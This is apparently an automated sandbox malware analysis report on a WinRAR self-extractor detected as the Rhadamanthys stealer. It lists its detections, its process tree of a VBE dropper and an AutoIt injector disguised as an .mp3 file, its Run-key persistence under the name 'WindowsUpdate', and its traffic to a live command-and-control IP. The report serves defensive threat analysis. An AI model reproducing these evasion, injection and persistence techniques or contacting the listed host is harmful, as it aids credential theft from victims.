Edit tour

Windows Analysis Report
ngPebbPhbp.exe

Overview

General Information

Sample name:	ngPebbPhbp.exe renamed because original name is a hash value
Original sample name:	5f58e87fee021cbaa9ecfae2d5f8709bd0934b2d2d2779a8f24993425fb20350.exe
Analysis ID:	1560167
MD5:	fa000351e26e17543f67e3dedc97d37e
SHA1:	c59fc4f489ac15d5a1d455abbf0c3c5ad6fcc189
SHA256:	5f58e87fee021cbaa9ecfae2d5f8709bd0934b2d2d2779a8f24993425fb20350
Tags:	77-105-161-194exeuser-JAMESWT_MHT
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected AntiVM autoit script

Yara detected AntiVM3

Yara detected Autoit Injector

Yara detected RHADAMANTHYS Stealer

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Found API chain indicative of sandbox detection

Injects a PE file into a foreign processes

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses ipconfig to lookup or modify the Windows network settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query the security center for anti-virus and firewall products

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Sigma detected: Use NTFS Short Name in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

ngPebbPhbp.exe (PID: 7300 cmdline: "C:\Users\user\Desktop\ngPebbPhbp.exe" MD5: FA000351E26E17543F67E3DEDC97D37E)

wscript.exe (PID: 7436 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7524 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7616 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cmd.exe (PID: 7552 cmdline: "C:\Windows\System32\cmd.exe" /c qwlvpmrupf.mp3 tnlupe.mp3 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qwlvpmrupf.mp3 (PID: 7640 cmdline: qwlvpmrupf.mp3 tnlupe.mp3 MD5: 0ADB9B817F1DF7807576C2D7068DD931)

RegSvcs.exe (PID: 7940 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

OpenWith.exe (PID: 7980 cmdline: "C:\Windows\system32\openwith.exe" MD5: 0ED31792A7FFF811883F80047CBCFC91)

cmd.exe (PID: 7676 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7724 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

qwlvpmrupf.mp3.exe (PID: 8072 cmdline: "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3 MD5: 0ADB9B817F1DF7807576C2D7068DD931)

RegSvcs.exe (PID: 8124 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

qwlvpmrupf.mp3.exe (PID: 8188 cmdline: "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3 MD5: 0ADB9B817F1DF7807576C2D7068DD931)

RegSvcs.exe (PID: 4960 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

qwlvpmrupf.mp3.exe (PID: 4092 cmdline: "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3 MD5: 0ADB9B817F1DF7807576C2D7068DD931)

RegSvcs.exe (PID: 2740 cmdline: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/ https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.1935619525.00000000060B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000F.00000002.2946403129.0000000005A41000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000014.00000002.2208992211.00000000062C3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000F.00000003.1961307501.0000000005639000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000011.00000002.2068593152.00000000066C3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000015.00000002.2287549394.0000000005FC3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000F.00000003.1932421408.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: qwlvpmrupf.mp3 PID: 7640	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: qwlvpmrupf.mp3 PID: 7640	JoeSecurity_AutoitInjector	Yara detected Autoit Injector	Joe Security
Process Memory Space: RegSvcs.exe PID: 7940	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: OpenWith.exe PID: 7980	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: qwlvpmrupf.mp3.exe PID: 8072	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: qwlvpmrupf.mp3.exe PID: 8072	JoeSecurity_AutoitInjector	Yara detected Autoit Injector	Joe Security
Process Memory Space: qwlvpmrupf.mp3.exe PID: 8188	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: qwlvpmrupf.mp3.exe PID: 8188	JoeSecurity_AutoitInjector	Yara detected Autoit Injector	Joe Security
Process Memory Space: qwlvpmrupf.mp3.exe PID: 4092	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: qwlvpmrupf.mp3.exe PID: 4092	JoeSecurity_AutoitInjector	Yara detected Autoit Injector	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.3.OpenWith.exe.59c0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
15.3.OpenWith.exe.57a0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 7436, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release , ProcessId: 7524, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ngPebbPhbp.exe", ParentImage: C:\Users\user\Desktop\ngPebbPhbp.exe, ParentProcessId: 7300, ParentProcessName: ngPebbPhbp.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , ProcessId: 7436, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ngPebbPhbp.exe", ParentImage: C:\Users\user\Desktop\ngPebbPhbp.exe, ParentProcessId: 7300, ParentProcessName: ngPebbPhbp.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , ProcessId: 7436, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ngPebbPhbp.exe", ParentImage: C:\Users\user\Desktop\ngPebbPhbp.exe, ParentProcessId: 7300, ParentProcessName: ngPebbPhbp.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , ProcessId: 7436, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe, ProcessId: 8072, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: qwlvpmrupf.mp3 tnlupe.mp3, CommandLine: qwlvpmrupf.mp3 tnlupe.mp3, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3, NewProcessName: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3, OriginalFileName: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c qwlvpmrupf.mp3 tnlupe.mp3, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: qwlvpmrupf.mp3 tnlupe.mp3, ProcessId: 7640, ProcessName: qwlvpmrupf.mp3

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe", CommandLine: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, ParentCommandLine: qwlvpmrupf.mp3 tnlupe.mp3, ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3, ParentProcessId: 7640, ParentProcessName: qwlvpmrupf.mp3, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe", ProcessId: 7940, ProcessName: RegSvcs.exe

Sigma detected: Use NTFS Short Name in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3, CommandLine: "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe, NewProcessName: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe, OriginalFileName: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3, ProcessId: 8072, ProcessName: qwlvpmrupf.mp3.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ngPebbPhbp.exe", ParentImage: C:\Users\user\Desktop\ngPebbPhbp.exe, ParentProcessId: 7300, ParentProcessName: ngPebbPhbp.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe" , ProcessId: 7436, ProcessName: wscript.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3, ProcessId: 7640, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ngPebbPhbp.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Source: ngPebbPhbp.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ngPebbPhbp.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ngPebbPhbp.exe, 00000000.00000000.1695435766.0000000000B3C000.00000002.00000001.01000000.00000003.sdmp, ngPebbPhbp.exe, 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: wkernel32.pdb source: OpenWith.exe, 0000000F.00000003.1934628698.00000000058C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934512366.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: OpenWith.exe, 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: OpenWith.exe, 0000000F.00000003.1933709794.0000000005990000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1933480930.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb, source: qwlvpmrupf.mp3, 00000007.00000003.1924745407.000000000113D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000000.1924462508.00000000005C2000.00000002.00000001.01000000.0000000C.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2054601563.000000000182C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2185950312.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2271006709.0000000001493000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: OpenWith.exe, 0000000F.00000003.1934031698.00000000057A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934260975.0000000005940000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: OpenWith.exe, 0000000F.00000003.1933709794.0000000005990000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1933480930.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: OpenWith.exe, 0000000F.00000003.1934031698.00000000057A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934260975.0000000005940000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: qwlvpmrupf.mp3, 00000007.00000003.1924745407.000000000113D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000000.1924462508.00000000005C2000.00000002.00000001.01000000.0000000C.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2054601563.000000000182C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2185950312.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2271006709.0000000001493000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: OpenWith.exe, 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: OpenWith.exe, 0000000F.00000003.1934628698.00000000058C0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000F.00000003.1934512366.00000000057A0000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B0F826 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00B0F826
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B21630 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,	0_2_00B21630
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DE387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	7_2_003DE387
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DD836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_003DD836
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DDB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_003DDB69
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E9F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_003E9F9F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003EA0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_003EA0FA
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003EA488 FindFirstFileW,Sleep,FindNextFileW,FindClose,	7_2_003EA488
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E65F1 FindFirstFileW,FindNextFileW,FindClose,	7_2_003E65F1
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E7248 FindFirstFileW,FindClose,	7_2_003E7248
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E72E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	7_2_003E72E9
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFE387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	16_2_00DFE387
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFD836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00DFD836
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFDB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00DFDB69
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E09F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_00E09F9F
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E0A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_00E0A0FA
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E0A488 FindFirstFileW,Sleep,FindNextFileW,FindClose,	16_2_00E0A488
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E065F1 FindFirstFileW,FindNextFileW,FindClose,	16_2_00E065F1
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E072E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	16_2_00E072E9
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E07248 FindFirstFileW,FindClose,	16_2_00E07248

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 51.75.171.9:5151

Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
